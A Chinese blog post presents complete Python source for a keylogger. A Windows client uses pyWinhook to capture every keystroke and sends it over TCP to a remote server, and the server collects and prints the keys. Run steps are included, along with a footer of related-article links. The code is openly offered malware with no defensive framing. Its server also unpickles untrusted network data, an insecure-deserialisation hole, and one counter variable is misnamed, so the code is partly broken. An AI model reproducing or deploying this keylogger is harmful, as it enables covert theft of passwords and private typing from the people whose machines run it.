python实现监听键盘


Posted in Python onApril 26, 2021

python实现监听键盘,供大家参考,具体内容如下实现服务端

import pickle
from io import BytesIO
import socket

#接收数据
def Server_Recive(ip,port):
    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.bind((ip,port))
    socket_obj.listen(5)

    file = 1

    while True:
        connection,address = socket_obj.accept()
  #接受的数据
        recieved_message = b''
        recieved_message_fragment = connection.recv(1024)
        while recieved_message_fragment:
            recieved_message += recieved_message_fragment
            recieved_message_fragment = connection.recv(1024)

        try:
            obj = pickle.loads(recieved_message)
            print(obj['Key'],end=' ')
        except EOFError:
            file_name = 'recv_image_' + str(file_on) + '.bmp'
            recv_image = open(file_name,'wb')
            recv_image.write(recieved_message)
            file_on += 1
        connection.close()


if __name__ == '__main__':
    Server_IP = '0.0.0.0'
    Server_Port = 6666
    Server_Recive(Server_IP,Server_Port)

键盘监听程序

#键盘监听

import pythoncom,pyWinhook,pickle,socket
from io import BytesIO

def Client_PIC(ip,port,obj):
    try:
        msg = pickle.dumps(obj)
        send_message = BytesIO(msg)
        send_message_fragment = send_message.read(1024)
    except:
        send_message = obj
        send_message_fragment = send_message.read(1024)

    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.connect((ip,port))

    while send_message_fragment:
        socket_obj.send(send_message_fragment)
        send_message_fragment = send_message.read(1024)

    socket_obj.close()


def OnkeyBoardEvent(event):
    dict_key = {}
    dict_key['MessageName'] = event.MessageName
    dict_key['Key'] = event.Key

    Client_PIC('你自己的ip地址',6666,dict_key)
    return True

def Keylogger():
    hm = pyWinhook.HookManager()
    hm.KeyDown = OnkeyBoardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()

if __name__ == '__main__':
    Keylogger()

其中的pythoncom,pyWinhook百度查找安装方法,在此不赘述

运行(先运行服务端,而后运行监听程序)

python实现监听键盘

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python抓取并保存html页面时乱码问题的解决方法
Jul 01 Python
python实现折半查找和归并排序算法
Apr 14 Python
Python使用Scrapy保存控制台信息到文本解析
Dec 27 Python
Python 实现两个服务器之间文件的上传方法
Feb 13 Python
python面向对象法实现图书管理系统
Apr 19 Python
Pyqt清空某一个QTreeewidgetItem下的所有分支方法
Jun 17 Python
python redis连接 有序集合去重的代码
Aug 04 Python
python 经典数字滤波实例
Dec 16 Python
Python 实现Serial 与STM32J进行串口通讯
Dec 18 Python
Python操作redis和mongoDB的方法
Dec 19 Python
python3爬虫中异步协程的用法
Jul 10 Python
Python3中PyQt5简单实现文件打开及保存
Jun 10 Python
python如何做代码性能分析
Apr 26 #Python
Python字符串对齐方法使用(ljust()、rjust()和center())
Apr 26 #Python
python如何进行基准测试
Apr 26 #Python
python实现简单的名片管理系统
Python实战之实现康威生命游戏
Python 制作自动化翻译工具
教你用Python写一个植物大战僵尸小游戏
You might like
PHP持久连接mysql_pconnect()函数使用介绍
2012/02/05 PHP
thinkphp 多表 事务详解
2013/06/17 PHP
用javascript控制iframe滚动的代码
2007/04/10 Javascript
ExtJs使用总结(非常详细)
2012/03/22 Javascript
js动态添加删除,后台取数据(示例代码)
2013/11/25 Javascript
jquery垂直公告滚动实现代码
2013/12/08 Javascript
js的touch事件的实际引用
2014/10/13 Javascript
nodejs中实现sleep功能实例
2015/03/24 NodeJs
超实用的javascript时间处理总结
2016/08/16 Javascript
jquery实时获取时间的简单实例
2017/01/26 Javascript
正则表达式基本语法及表单验证操作详解【基于JS】
2017/04/07 Javascript
AngularJS中的promise用法分析
2017/05/19 Javascript
Angularjs 手写日历的实现代码(不用插件)
2017/10/18 Javascript
Node.js原生api搭建web服务器的方法步骤
2019/02/15 Javascript
Python MySQLdb Linux下安装笔记
2015/05/09 Python
Python 自动刷博客浏览量实例代码
2017/06/14 Python
ubuntu安装mysql pycharm sublime
2018/02/20 Python
Python中面向对象你应该知道的一下知识
2019/07/10 Python
python快速编写单行注释多行注释的方法
2019/07/31 Python
vim自动补全插件YouCompleteMe(YCM)安装过程解析
2019/10/21 Python
pandas实现DataFrame显示最大行列,不省略显示实例
2019/12/26 Python
pytorch nn.Conv2d()中的padding以及输出大小方式
2020/01/10 Python
Django中从mysql数据库中获取数据传到echarts方式
2020/04/07 Python
Python reques接口测试框架实现代码
2020/07/28 Python
python 获取域名到期时间的方法步骤
2021/02/10 Python
CSS3美化表单控件全集
2016/06/29 HTML / CSS
欧洲著名的珠宝和手表网上商城:uhrcenter
2017/04/10 全球购物
如何写自我评价?自我评价写什么好?
2014/03/14 职场文书
教师节活动主持词
2014/04/02 职场文书
公司运动会策划方案
2014/05/25 职场文书
护理专业求职信
2014/06/15 职场文书
三方股东合作协议书范本
2014/09/28 职场文书
幼儿园保育员随笔
2015/08/14 职场文书
数据库连接池
2021/04/06 MySQL
CSS巧用渐变实现高级感背景光动画
2021/12/06 HTML / CSS
win10识别不了U盘怎么办 win10系统读取U盘失败的解决办法
2022/08/05 数码科技